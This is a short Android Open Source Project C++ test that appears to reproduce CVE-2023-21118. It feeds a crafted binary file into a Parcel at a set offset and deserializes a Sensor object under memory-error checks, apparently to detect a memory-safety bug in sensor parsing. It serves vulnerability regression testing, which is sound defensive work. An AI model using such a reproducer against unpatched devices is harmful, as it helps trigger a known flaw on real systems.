/** * Copyright (C) 2023 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include "../includes/common.h" #include "../includes/memutils.h" using namespace android; using namespace std; char enable_selective_overload = ENABLE_NONE; void fillParcel(Parcel &reply) { ifstream inputFile("cve_2023_21118.bin", ios::binary); FAIL_CHECK(inputFile.is_open()); // Compute size of file inputFile.seekg(0, std::ios::end); std::streampos fileSize = inputFile.tellg(); inputFile.seekg(0, std::ios::beg); // Fill parcel with file data vector fileData(fileSize); inputFile.read(reinterpret_cast(fileData.data()), fileSize); inputFile.close(); reply.write(fileData.data(), fileSize); reply.setDataPosition(25044 /* Set data position to required position */); } int main() { Parcel reply; Sensor s; fillParcel(reply); enable_selective_overload = ENABLE_ALL; reply.read(s); enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; return 0; }